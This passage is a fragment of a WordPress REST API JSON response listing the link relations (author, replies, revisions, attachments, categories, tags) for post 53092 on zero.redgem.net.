["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=53092"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/53092\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=53092"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=53092"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=53092"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}